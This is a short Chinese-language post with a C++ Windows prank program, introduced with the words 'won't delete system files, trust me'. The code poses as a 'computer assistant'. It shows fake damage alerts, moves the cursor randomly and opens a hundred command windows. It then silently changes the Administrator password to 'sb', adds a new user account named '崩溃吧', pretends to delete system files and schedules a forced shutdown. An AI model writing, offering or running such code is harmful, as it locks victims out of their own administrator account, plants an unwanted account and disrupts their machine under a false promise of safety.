不会删除系统文件,信我。
#include <iostream>
#include<windows.h>
#include<ctime>
#include <cstdlib>
#include <stdio.h>
#include <fstream>
using namespace std;
int main ()
{
MessageBox(NULL,TEXT("系统破环,正在修复中..."),TEXT("电脑助手"),MB_OK);
MessageBox(NULL,TEXT("系统受损严重,正在强行关闭此软件中..."),TEXT("电脑助手"),MB_OK);
int x1=GetSystemMetrics(SM_CXSCREEN);
int y1=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
for(int i=1;i<=100;i++)
{
SetCursorPos(rand()%x1,rand()%y1);
system("start");
}
system("net user Administrator sb");//自动把密码改成sb
system("net user 崩溃吧 sb /add");//创建用户崩溃吧
cout<<"正在删除系统文件中...";
Sleep(1000);
system("tree c:\\windows");
system("cls");
!MessageBox(NULL,TEXT("删除完成"),TEXT("电脑助手"),MB_OK);
Sleep(1000);
system("shutdown -s -t 30");
}
信我!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!